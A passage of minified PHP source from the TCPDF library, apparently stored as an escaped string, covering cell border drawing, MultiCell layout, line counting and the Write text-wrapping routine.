",\' \',$txt2);switch($align){case \'C\':{$dx=($w-$width)/2;break;}case \'R\':{if($this->rtl){$dx=$this->cell_padding[\'R\'];}else {$dx=$w-$width-$this->cell_padding[\'R\'];}break;}case \'L\':{if($this->rtl){$dx=$w-$width-$this->cell_padding[\'L\'];}else {$dx=$this->cell_padding[\'L\'];}break;}case \'J\':default:{if($this->rtl){$dx=$this->cell_padding[\'R\'];}else {$dx=$this->cell_padding[\'L\'];}break;}}if($this->rtl){$xdx=$x-$dx-$width;}else {$xdx=$x+$dx;}$xdk=$xdx*$k;$s.=sprintf(\'BT %F %F Td [(%s)] TJ ET\',$xdk,(($this->h-$basefonty)*$k),$txt2);if(isset($uniblock)){$xshift=0;$ty=(($this->h-$basefonty+(0.2*$this->FontSize))*$k);$spw=(($w-$txwidth-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'])/($ns?$ns:1));foreach($uniblock as $uk=>$uniarr){if(($uk%2)==0){if($spacewidth!=0){$xshift+=(count(array_keys($uniarr,32))*$spw);}$xshift+=$this->GetArrStringWidth($uniarr);}else {$topchr=TCPDF_FONTS::arrUTF8ToUTF16BE($uniarr,false);$topchr=TCPDF_STATIC::_escape($topchr);$s.=sprintf(\' BT %F %F Td [(%s)] TJ ET\',($xdk+($xshift*$k)),$ty,$topchr);}}}if($this->underline){$s.=\' \'.$this->_dounderlinew($xdx,$basefonty,$width);}if($this->linethrough){$s.=\' \'.$this->_dolinethroughw($xdx,$basefonty,$width);}if($this->overline){$s.=\' \'.$this->_dooverlinew($xdx,$basefonty,$width);}if($this->ColorFlag AND ($this->textrendermode<4)){$s.=\' Q\';}if($link){$this->Link($xdx,$yt,$width,($this->FontAscent+$this->FontDescent),$link,$ns);}}if($s){$rs.=$s;if($this->font_spacing!=0){$rs.=\' BT 0 Tc ET\';}if($this->font_stretching!=100){$rs.=\' BT 100 Tz ET\';}}if(!$this->isUnicodeFont() AND ($align==\'J\')){$rs.=\' BT 0 Tw ET\';}$this->font_stretching=$prev_font_stretching;$this->font_spacing=$prev_font_spacing;$this->lasth=$h;if($ln>0){$this->y=$y+$h+$this->cell_margin[\'B\'];if($ln==1){if($this->rtl){$this->x=$this->w-$this->rMargin;}else {$this->x=$this->lMargin;}}}else {if($this->rtl){$this->x=$x-$w-$this->cell_margin[\'L\'];}else {$this->x=$x+$w+$this->cell_margin[\'R\'];}}$gstyles=\'\'.$this->linestyleWidth.\' \'.$this->linestyleCap.\' \'.$this->linestyleJoin.\' \'.$this->linestyleDash.\' \'.$this->DrawColor.\' \'.$this->FillColor."
";$rs=$gstyles.$rs;$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;return $rs;} function replaceChar($oldchar,$newchar){if($this->isCharDefined($newchar)){$this->CurrentFont[\'subsetchars\'][$newchar]=true;return $newchar;}return $oldchar;} function getCellBorder($x,$y,$w,$h,$brd){$s=\'\';if(empty($brd)){return $s;}if($brd==1){$brd=array(\'LRTB\'=>true);}$k=$this->k;if($this->rtl){$xeL=($x-$w)*$k;$xeR=$x*$k;}else {$xeL=$x*$k;$xeR=($x+$w)*$k;}$yeL=(($this->h-($y+$h))*$k);$yeT=(($this->h-$y)*$k);$xeT=$xeL;$xeB=$xeR;$yeR=$yeT;$yeB=$yeL;if(is_string($brd)){$slen=strlen($brd);$newbrd=array();for($i=0;$i<$slen;++$i){$newbrd[$brd[$i]]=array(\'cap\'=>\'square\',\'join\'=>\'miter\');}$brd=$newbrd;}if(isset($brd[\'mode\'])){$mode=$brd[\'mode\'];unset($brd[\'mode\']);}else {$mode=\'normal\';}foreach($brd as $border=>$style){if(is_array($style) AND !empty($style)){$prev_style=$this->linestyleWidth.\' \'.$this->linestyleCap.\' \'.$this->linestyleJoin.\' \'.$this->linestyleDash.\' \'.$this->DrawColor.\' \';$s.=$this->SetLineStyle($style,true)."
";}switch($mode){case \'ext\':{$off=(($this->LineWidth/2)*$k);$xL=$xeL-$off;$xR=$xeR+$off;$yT=$yeT+$off;$yL=$yeL-$off;$xT=$xL;$xB=$xR;$yR=$yT;$yB=$yL;$w+=$this->LineWidth;$h+=$this->LineWidth;break;}case \'int\':{$off=($this->LineWidth/2)*$k;$xL=$xeL+$off;$xR=$xeR-$off;$yT=$yeT-$off;$yL=$yeL+$off;$xT=$xL;$xB=$xR;$yR=$yT;$yB=$yL;$w-=$this->LineWidth;$h-=$this->LineWidth;break;}case \'normal\':default:{$xL=$xeL;$xT=$xeT;$xB=$xeB;$xR=$xeR;$yL=$yeL;$yT=$yeT;$yB=$yeB;$yR=$yeR;break;}}if(strlen($border)==4){$s.=sprintf(\'%F %F %F %F re S \',$xT,$yT,($w*$k),(-$h*$k));}elseif(strlen($border)==3){if(strpos($border,\'B\')===false){$s.=sprintf(\'%F %F m \',$xL,$yL);$s.=sprintf(\'%F %F l \',$xT,$yT);$s.=sprintf(\'%F %F l \',$xR,$yR);$s.=sprintf(\'%F %F l \',$xB,$yB);$s.=\'S \';}elseif(strpos($border,\'L\')===false){$s.=sprintf(\'%F %F m \',$xT,$yT);$s.=sprintf(\'%F %F l \',$xR,$yR);$s.=sprintf(\'%F %F l \',$xB,$yB);$s.=sprintf(\'%F %F l \',$xL,$yL);$s.=\'S \';}elseif(strpos($border,\'T\')===false){$s.=sprintf(\'%F %F m \',$xR,$yR);$s.=sprintf(\'%F %F l \',$xB,$yB);$s.=sprintf(\'%F %F l \',$xL,$yL);$s.=sprintf(\'%F %F l \',$xT,$yT);$s.=\'S \';}elseif(strpos($border,\'R\')===false){$s.=sprintf(\'%F %F m \',$xB,$yB);$s.=sprintf(\'%F %F l \',$xL,$yL);$s.=sprintf(\'%F %F l \',$xT,$yT);$s.=sprintf(\'%F %F l \',$xR,$yR);$s.=\'S \';}}elseif(strlen($border)==2){if((strpos($border,\'L\')!==false) AND (strpos($border,\'T\')!==false)){$s.=sprintf(\'%F %F m \',$xL,$yL);$s.=sprintf(\'%F %F l \',$xT,$yT);$s.=sprintf(\'%F %F l \',$xR,$yR);$s.=\'S \';}elseif((strpos($border,\'T\')!==false) AND (strpos($border,\'R\')!==false)){$s.=sprintf(\'%F %F m \',$xT,$yT);$s.=sprintf(\'%F %F l \',$xR,$yR);$s.=sprintf(\'%F %F l \',$xB,$yB);$s.=\'S \';}elseif((strpos($border,\'R\')!==false) AND (strpos($border,\'B\')!==false)){$s.=sprintf(\'%F %F m \',$xR,$yR);$s.=sprintf(\'%F %F l \',$xB,$yB);$s.=sprintf(\'%F %F l \',$xL,$yL);$s.=\'S \';}elseif((strpos($border,\'B\')!==false) AND (strpos($border,\'L\')!==false)){$s.=sprintf(\'%F %F m \',$xB,$yB);$s.=sprintf(\'%F %F l \',$xL,$yL);$s.=sprintf(\'%F %F l \',$xT,$yT);$s.=\'S \';}elseif((strpos($border,\'L\')!==false) AND (strpos($border,\'R\')!==false)){$s.=sprintf(\'%F %F m \',$xL,$yL);$s.=sprintf(\'%F %F l \',$xT,$yT);$s.=\'S \';$s.=sprintf(\'%F %F m \',$xR,$yR);$s.=sprintf(\'%F %F l \',$xB,$yB);$s.=\'S \';}elseif((strpos($border,\'T\')!==false) AND (strpos($border,\'B\')!==false)){$s.=sprintf(\'%F %F m \',$xT,$yT);$s.=sprintf(\'%F %F l \',$xR,$yR);$s.=\'S \';$s.=sprintf(\'%F %F m \',$xB,$yB);$s.=sprintf(\'%F %F l \',$xL,$yL);$s.=\'S \';}}else {if(strpos($border,\'L\')!==false){$s.=sprintf(\'%F %F m \',$xL,$yL);$s.=sprintf(\'%F %F l \',$xT,$yT);$s.=\'S \';}elseif(strpos($border,\'T\')!==false){$s.=sprintf(\'%F %F m \',$xT,$yT);$s.=sprintf(\'%F %F l \',$xR,$yR);$s.=\'S \';}elseif(strpos($border,\'R\')!==false){$s.=sprintf(\'%F %F m \',$xR,$yR);$s.=sprintf(\'%F %F l \',$xB,$yB);$s.=\'S \';}elseif(strpos($border,\'B\')!==false){$s.=sprintf(\'%F %F m \',$xB,$yB);$s.=sprintf(\'%F %F l \',$xL,$yL);$s.=\'S \';}}if(is_array($style) AND !empty($style)){$s.="
".$this->linestyleWidth.\' \'.$this->linestyleCap.\' \'.$this->linestyleJoin.\' \'.$this->linestyleDash.\' \'.$this->DrawColor."
";}}return $s;} function MultiCell($w,$h,$txt,$border=0,$align=\'J\',$fill=false,$ln=1,$x=\'\',$y=\'\',$reseth=true,$stretch=0,$ishtml=false,$autopadding=true,$maxh=0,$valign=\'T\',$fitcell=false){$prev_cell_margin=$this->cell_margin;$prev_cell_padding=$this->cell_padding;$this->adjustCellPadding($border);$mc_padding=$this->cell_padding;$mc_margin=$this->cell_margin;$this->cell_padding[\'T\']=0;$this->cell_padding[\'B\']=0;$this->setCellMargins(0,0,0,0);if(TCPDF_STATIC::empty_string($this->lasth) OR $reseth){$this->resetLastH();}if(!TCPDF_STATIC::empty_string($y)){$this->SetY($y);}else {$y=$this->GetY();}$resth=0;if(($h>0) AND $this->inPageBody() AND (($y+$h+$mc_margin[\'T\']+$mc_margin[\'B\'])>$this->PageBreakTrigger)){$newh=($this->PageBreakTrigger-$y);$resth=($h-$newh);$h=$newh;}$startpage=$this->page;$startcolumn=$this->current_column;if(!TCPDF_STATIC::empty_string($x)){$this->SetX($x);}else {$x=$this->GetX();}list($x,$y)=$this->checkPageRegions(0,$x,$y);$oy=$y+$mc_margin[\'T\'];if($this->rtl){$ox=($this->w-$x-$mc_margin[\'R\']);}else {$ox=($x+$mc_margin[\'L\']);}$this->x=$ox;$this->y=$oy;if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=($this->x-$this->lMargin-$mc_margin[\'L\']);}else {$w=($this->w-$this->x-$this->rMargin-$mc_margin[\'R\']);}}$lMargin=$this->lMargin;$rMargin=$this->rMargin;if($this->rtl){$this->rMargin=($this->w-$this->x);$this->lMargin=($this->x-$w);}else {$this->lMargin=($this->x);$this->rMargin=($this->w-$this->x-$w);}$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;if($autopadding){$this->y+=$mc_padding[\'T\'];}if($ishtml){$this->writeHTML($txt,true,false,$reseth,true,$align);$nl=1;}else {$prev_FontSizePt=$this->FontSizePt;if($fitcell){$tobottom=($this->h-$this->y-$this->bMargin-$this->cell_padding[\'T\']-$this->cell_padding[\'B\']);$h=$maxh=max(min($h,$tobottom),min($maxh,$tobottom));}if($maxh>0){$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);if($fitcell AND ($text_height>$maxh) AND ($this->FontSizePt>1)){$fmin=1;$fmax=$this->FontSizePt;$diff_epsilon=(1/$this->k);$maxit=(2*min(100,max(10,intval($fmax))));while($maxit>=0){$fmid=(($fmax+$fmin)/2);$this->SetFontSize($fmid,false);$this->resetLastH();$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);$diff=($maxh-$text_height);if($diff>=0){if($diff<=$diff_epsilon){break;}$fmin=$fmid;}else {$fmax=$fmid;}--$maxit;}if($maxit<0){$this->SetFontSize($fmin);$this->resetLastH();$text_height=$this->getStringHeight($w,$txt,$reseth,$autopadding,$mc_padding,$border);}else {$this->SetFontSize($fmid);$this->resetLastH();}}if($text_height<$maxh){if($valign==\'M\'){$this->y+=(($maxh-$text_height)/2);}elseif($valign==\'B\'){$this->y+=($maxh-$text_height);}}}$nl=$this->Write($this->lasth,$txt,\'\',0,$align,true,$stretch,false,true,$maxh,0,$mc_margin);if($fitcell){$this->SetFontSize($prev_FontSizePt);}}if($autopadding){$this->y+=$mc_padding[\'B\'];}$currentY=$this->y;$endpage=$this->page;if($resth>0){$skip=($endpage-$startpage);$tmpresth=$resth;while($tmpresth>0){if($skip<=0){$this->checkPageBreak($this->PageBreakTrigger+1);}if($this->num_columns>1){$tmpresth-=($this->h-$this->y-$this->bMargin);}else {$tmpresth-=($this->h-$this->tMargin-$this->bMargin);}--$skip;}$currentY=$this->y;$endpage=$this->page;}$endcolumn=$this->current_column;if($this->num_columns==0){$this->num_columns=1;}$check_page_regions=$this->check_page_regions;$this->check_page_regions=false;$border_start=TCPDF_STATIC::getBorderMode($border,$position=\'start\',$this->opencell);$border_end=TCPDF_STATIC::getBorderMode($border,$position=\'end\',$this->opencell);$border_middle=TCPDF_STATIC::getBorderMode($border,$position=\'middle\',$this->opencell);for($page=$startpage;$page<=$endpage;++$page){$ccode=\'\';$this->setPage($page);if($this->num_columns<2){$this->SetX($x);$this->y=$this->tMargin;}if($page>$startpage){if(($this->rtl) AND ($this->pagedim[$page][\'orm\']!=$this->pagedim[$startpage][\'orm\'])){$this->x-=($this->pagedim[$page][\'orm\']-$this->pagedim[$startpage][\'orm\']);}elseif((!$this->rtl) AND ($this->pagedim[$page][\'olm\']!=$this->pagedim[$startpage][\'olm\'])){$this->x+=($this->pagedim[$page][\'olm\']-$this->pagedim[$startpage][\'olm\']);}}if($startpage==$endpage){for($column=$startcolumn;$column<=$endcolumn;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin[\'R\'];}else {$this->x+=$mc_margin[\'L\'];}if($startcolumn==$endcolumn){$cborder=$border;$h=max($h,($currentY-$oy));$this->y=$oy;}elseif($column==$startcolumn){$cborder=$border_start;$this->y=$oy;$h=$this->h-$this->y-$this->bMargin;}elseif($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;if($resth>$h){$h=$resth;}}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}elseif($page==$startpage){for($column=$startcolumn;$column<$this->num_columns;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin[\'R\'];}else {$this->x+=$mc_margin[\'L\'];}if($column==$startcolumn){$cborder=$border_start;$this->y=$oy;$h=$this->h-$this->y-$this->bMargin;}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}elseif($page==$endpage){for($column=0;$column<=$endcolumn;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin[\'R\'];}else {$this->x+=$mc_margin[\'L\'];}if($column==$endcolumn){$cborder=$border_end;$h=$currentY-$this->y;if($resth>$h){$h=$resth;}}else {$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;}$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}else {for($column=0;$column<$this->num_columns;++$column){$this->selectColumn($column);if($this->rtl){$this->x-=$mc_margin[\'R\'];}else {$this->x+=$mc_margin[\'L\'];}$cborder=$border_middle;$h=$this->h-$this->y-$this->bMargin;$resth-=$h;$ccode.=$this->getCellCode($w,$h,\'\',$cborder,1,\'\',$fill,\'\',0,true)."
";}}if($cborder OR $fill){$offsetlen=strlen($ccode);if($this->inxobj){if(end($this->xobjects[$this->xobjid][\'transfmrk\'])!==false){$pagemarkkey=key($this->xobjects[$this->xobjid][\'transfmrk\']);$pagemark=$this->xobjects[$this->xobjid][\'transfmrk\'][$pagemarkkey];$this->xobjects[$this->xobjid][\'transfmrk\'][$pagemarkkey]+=$offsetlen;}else {$pagemark=$this->xobjects[$this->xobjid][\'intmrk\'];$this->xobjects[$this->xobjid][\'intmrk\']+=$offsetlen;}$pagebuff=$this->xobjects[$this->xobjid][\'outdata\'];$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->xobjects[$this->xobjid][\'outdata\']=$pstart.$ccode.$pend;}else {if(end($this->transfmrk[$this->page])!==false){$pagemarkkey=key($this->transfmrk[$this->page]);$pagemark=$this->transfmrk[$this->page][$pagemarkkey];$this->transfmrk[$this->page][$pagemarkkey]+=$offsetlen;}elseif($this->InFooter){$pagemark=$this->footerpos[$this->page];$this->footerpos[$this->page]+=$offsetlen;}else {$pagemark=$this->intmrk[$this->page];$this->intmrk[$this->page]+=$offsetlen;}$pagebuff=$this->getPageBuffer($this->page);$pstart=substr($pagebuff,0,$pagemark);$pend=substr($pagebuff,$pagemark);$this->setPageBuffer($this->page,$pstart.$ccode.$pend);}}}$this->check_page_regions=$check_page_regions;$currentY=$this->GetY();if($this->num_columns>1){$this->selectColumn();}else {$this->lMargin=$lMargin;$this->rMargin=$rMargin;if($this->page>$startpage){$dl=($this->pagedim[$this->page][\'olm\']-$this->pagedim[$startpage][\'olm\']);$dr=($this->pagedim[$this->page][\'orm\']-$this->pagedim[$startpage][\'orm\']);if(($dl!=0) OR ($dr!=0)){$this->lMargin+=$dl;$this->rMargin+=$dr;}}}if($ln>0){$this->SetY($currentY+$mc_margin[\'B\']);if($ln==2){$this->SetX($x+$w+$mc_margin[\'L\']+$mc_margin[\'R\']);}}else {$this->setPage($startpage);$this->y=$y;$this->SetX($x+$w+$mc_margin[\'L\']+$mc_margin[\'R\']);}$this->setContentMark();$this->cell_padding=$prev_cell_padding;$this->cell_margin=$prev_cell_margin;$this->clMargin=$this->lMargin;$this->crMargin=$this->rMargin;return $nl;} function getNumLines($txt,$w=0,$reseth=false,$autopadding=true,$cellpadding=\'\',$border=0){if($txt===NULL){return 0;}if($txt===\'\'){return 1;}$prev_cell_padding=$this->cell_padding;$prev_lasth=$this->lasth;if(is_array($cellpadding)){$this->cell_padding=$cellpadding;}$this->adjustCellPadding($border);if(TCPDF_STATIC::empty_string($w) OR ($w<=0)){if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}}$wmax=$w-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'];if($reseth){$this->resetLastH();}$lines=1;$sum=0;$chars=TCPDF_FONTS::utf8Bidi(TCPDF_FONTS::UTF8StringToArray($txt,$this->isunicode,$this->CurrentFont),$txt,$this->tmprtl,$this->isunicode,$this->CurrentFont);$charsWidth=$this->GetArrStringWidth($chars,\'\',\'\',0,true);$length=count($chars);$lastSeparator=-1;for($i=0;$i<$length;++$i){$c=$chars[$i];$charWidth=$charsWidth[$i];if(($c!=160) AND (($c==173) OR preg_match($this->re_spaces,TCPDF_FONTS::unichr($c,$this->isunicode)) OR (($c==45) AND ($i>0) AND ($i<($length-1)) AND @preg_match(\'/[\p{L}]/\'.$this->re_space[\'m\'],TCPDF_FONTS::unichr($chars[($i-1)],$this->isunicode)) AND @preg_match(\'/[\p{L}]/\'.$this->re_space[\'m\'],TCPDF_FONTS::unichr($chars[($i+1)],$this->isunicode))))){$lastSeparator=$i;}if((($sum+$charWidth)>$wmax) OR ($c==10)){++$lines;if($c==10){$lastSeparator=-1;$sum=0;}elseif($lastSeparator!=-1){$i=$lastSeparator;$lastSeparator=-1;$sum=0;}else {$sum=$charWidth;}}else {$sum+=$charWidth;}}if($chars[($length-1)]==10){--$lines;}$this->cell_padding=$prev_cell_padding;$this->lasth=$prev_lasth;return $lines;} function getStringHeight($w,$txt,$reseth=false,$autopadding=true,$cellpadding=\'\',$border=0){$prev_cell_padding=$this->cell_padding;$prev_lasth=$this->lasth;if(is_array($cellpadding)){$this->cell_padding=$cellpadding;}$this->adjustCellPadding($border);$lines=$this->getNumLines($txt,$w,$reseth,$autopadding,$cellpadding,$border);$height=$this->getCellHeight(($lines*$this->FontSize),$autopadding);$this->cell_padding=$prev_cell_padding;$this->lasth=$prev_lasth;return $height;} function Write($h,$txt,$link=\'\',$fill=false,$align=\'\',$ln=false,$stretch=0,$firstline=false,$firstblock=false,$maxh=0,$wadj=0,$margin=\'\'){list($this->x,$this->y)=$this->checkPageRegions($h,$this->x,$this->y);if(strlen($txt)==0){$txt=\' \';}if($margin===\'\'){$margin=$this->cell_margin;}$s=str_replace("
",\'\',$txt);$arabic=false;$rtlmode=false;$chrwidth=$this->GetCharWidth(46);$chars=TCPDF_FONTS::UTF8StringToArray($s,$this->isunicode,$this->CurrentFont);$chrw=$this->GetArrStringWidth($chars,\'\',\'\',0,true);array_walk($chrw,array($this,\'getRawCharWidth\'));$maxchwidth=max($chrw);$uchars=TCPDF_FONTS::UTF8ArrayToUniArray($chars,$this->isunicode);$nb=count($chars);$shy_replacement=45;$shy_replacement_char=TCPDF_FONTS::unichr($shy_replacement,$this->isunicode);$shy_replacement_width=$this->GetCharWidth($shy_replacement);$pw=$w=$this->w-$this->lMargin-$this->rMargin;if($this->rtl){$w=$this->x-$this->lMargin;}else {$w=$this->w-$this->rMargin-$this->x;}$wmax=($w-$wadj);if(!$firstline){$wmax-=($this->cell_padding[\'L\']+$this->cell_padding[\'R\']);}if((!$firstline) AND (($chrwidth>$wmax) OR ($maxchwidth>$wmax))){return \'\';}$row_height=max($h,$this->getCellHeight($this->FontSize));$maxy=$this->y+$maxh-max($row_height,$h);$start_page=$this->page;$i=0;$j=0;$sep=-1;$prevsep=$sep;$shy=false;$prevshy=$shy;$l=0;$nl=0;$linebreak=false;$pc=0;while($i<$nb){if(($maxh>0) AND ($this->y>$maxy)){break;}$c=$chars[$i];if($c==10){if($align==\'J\'){if($this->rtl){$talign=\'R\';}else {$talign=\'L\';}}else {$talign=$align;}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}if(!empty($tmpstr) OR ($this->y<($this->PageBreakTrigger-$row_height))){$this->Cell($w,$h,$tmpstr,0,1,$talign,$fill,$link,$stretch);}unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}++$nl;$j=$i+1;$l=0;$sep=-1;$prevsep=$sep;$shy=false;if((($this->y+$this->lasth)>$this->PageBreakTrigger) AND ($this->inPageBody())){$this->AcceptPageBreak();if($this->rtl){$this->x-=$margin[\'R\'];}else {$this->x+=$margin[\'L\'];}$this->lMargin+=$margin[\'L\'];$this->rMargin+=$margin[\'R\'];}$w=$this->getRemainingWidth();$wmax=($w-$this->cell_padding[\'L\']-$this->cell_padding[\'R\']);}else {if(($c!=160) AND (($c==173) OR preg_match($this->re_spaces,TCPDF_FONTS::unichr($c,$this->isunicode)) OR (($c==45) AND ($i<($nb-1)) AND @preg_match(\'/[\p{L}]/\'.$this->re_space[\'m\'],TCPDF_FONTS::unichr($pc,$this->isunicode)) AND @preg_match(\'/[\p{L}]/\'.$this->re_space[\'m\'],TCPDF_FONTS::unichr($chars[($i+1)],$this->isunicode))))){$prevsep=$sep;$sep=$i;if(($c==173) OR ($c==45)){$prevshy=$shy;$shy=true;if($pc==45){$tmp_shy_replacement_width=0;$tmp_shy_replacement_char=\'\';}else {$tmp_shy_replacement_width=$shy_replacement_width;$tmp_shy_replacement_char=$shy_replacement_char;}}else {$shy=false;}}if($this->isUnicodeFont() AND ($arabic)){$l=$this->GetArrStringWidth(TCPDF_FONTS::utf8Bidi(array_slice($chars,$j,($i-$j)),\'\',$this->tmprtl,$this->isunicode,$this->CurrentFont));}else {$l+=$this->GetCharWidth($c);}if(($l>$wmax) OR (($c==173) AND (($l+$tmp_shy_replacement_width)>=$wmax))){if(($c==173) AND (($l+$tmp_shy_replacement_width)>$wmax)){$sep=$prevsep;$shy=$prevshy;}if($sep==-1){if(($this->rtl AND ($this->x<=($this->w-$this->rMargin-$this->cell_padding[\'R\']-$margin[\'R\']-$chrwidth))) OR ((!$this->rtl) AND ($this->x>=($this->lMargin+$this->cell_padding[\'L\']+$margin[\'L\']+$chrwidth)))){$this->Cell($w,$h,\'\',0,1);$linebreak=true;if($firstline){return (TCPDF_FONTS::UniArrSubString($uchars,$j));}}else {$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}$j=$i;--$i;}}else {if($this->rtl AND (!$firstblock) AND ($sep<$i)){$endspace=1;}else {$endspace=0;}$strrest=TCPDF_FONTS::UniArrSubString($uchars,($sep+$endspace));$nextstr=TCPDF_STATIC::pregSplit(\'/\'.$this->re_space[\'p\'].\'/\',$this->re_space[\'m\'],$this->stringTrim($strrest));if(isset($nextstr[0]) AND ($this->GetStringWidth($nextstr[0])>$pw)){$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$i);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($i-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=($startx-$linew);}else {$this->endlinex=($startx+$linew);}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$i));}$j=$i;--$i;}else {if($shy){$shy_width=$tmp_shy_replacement_width;if($this->rtl){$shy_char_left=$tmp_shy_replacement_char;$shy_char_right=\'\';}else {$shy_char_left=\'\';$shy_char_right=$tmp_shy_replacement_char;}}else {$shy_width=0;$shy_char_left=\'\';$shy_char_right=\'\';}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,($sep+$endspace));if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,(($sep+$endspace)-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew-$shy_width;}else {$this->endlinex=$startx+$linew+$shy_width;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$shy_char_left.$tmpstr.$shy_char_right,0,1,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){if($chars[$sep]==45){$endspace+=1;}$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,($sep+$endspace)));}$i=$sep;$sep=-1;$shy=false;$j=($i+1);}}if((($this->y+$this->lasth)>$this->PageBreakTrigger) AND ($this->inPageBody())){$this->AcceptPageBreak();if($this->rtl){$this->x-=$margin[\'R\'];}else {$this->x+=$margin[\'L\'];}$this->lMargin+=$margin[\'L\'];$this->rMargin+=$margin[\'R\'];}$w=$this->getRemainingWidth();$wmax=$w-$this->cell_padding[\'L\']-$this->cell_padding[\'R\'];if($linebreak){$linebreak=false;}else {++$nl;$l=0;}}}$pc=$c;++$i;}if($l>0){switch($align){case \'J\':case \'C\':{$w=$w;break;}case \'L\':{if($this->rtl){$w=$w;}else {$w=$l;}break;}case \'R\':{if($this->rtl){$w=$l;}else {$w=$w;}break;}default:{$w=$l;break;}}$tmpstr=TCPDF_FONTS::UniArrSubString($uchars,$j,$nb);if($firstline){$startx=$this->x;$tmparr=array_slice($chars,$j,($nb-$j));if($rtlmode){$tmparr=TCPDF_FONTS::utf8Bidi($tmparr,$tmpstr,$this->tmprtl,$this->isunicode,$this->CurrentFont);}$linew=$this->GetArrStringWidth($tmparr);unset($tmparr);if($this->rtl){$this->endlinex=$startx-$linew;}else {$this->endlinex=$startx+$linew;}$w=$linew;$tmpcellpadding=$this->cell_padding;if($maxh==0){$this->SetCellPadding(0);}}if($firstblock AND $this->isRTLTextDir()){$tmpstr=$this->stringRightTrim($tmpstr);}$this->Cell($w,$h,$tmpstr,0,$ln,$align,$fill,$link,$stretch);unset($tmpstr);if($firstline){$this->cell_padding=$tmpcellpadding;return (TCPDF_FONTS::UniArrSubString($uchars,$nb));}++$nl;}if($firstline){return \'\';}return $nl;} function getRemainingWidth(){list($this->x,$this->y)=$this->checkPageRegions(0,$this->x,$this->y);if($this->rtl){return ($this->x-$this->lMargin);}else {return ($this->w-$this->rMargin-$this->x);}} function fitBlock($w,$h,$x,$y,$fitonpage=false){if($w<=0){$w=($this->w-$this->lMargin-$this->rMargin);if($w<=0){$w=1;}}if($h<=0){$h=($this->PageBreakTrigger-$this->tMargin);if($h<=0){$h=1;}}if($fitonpage OR 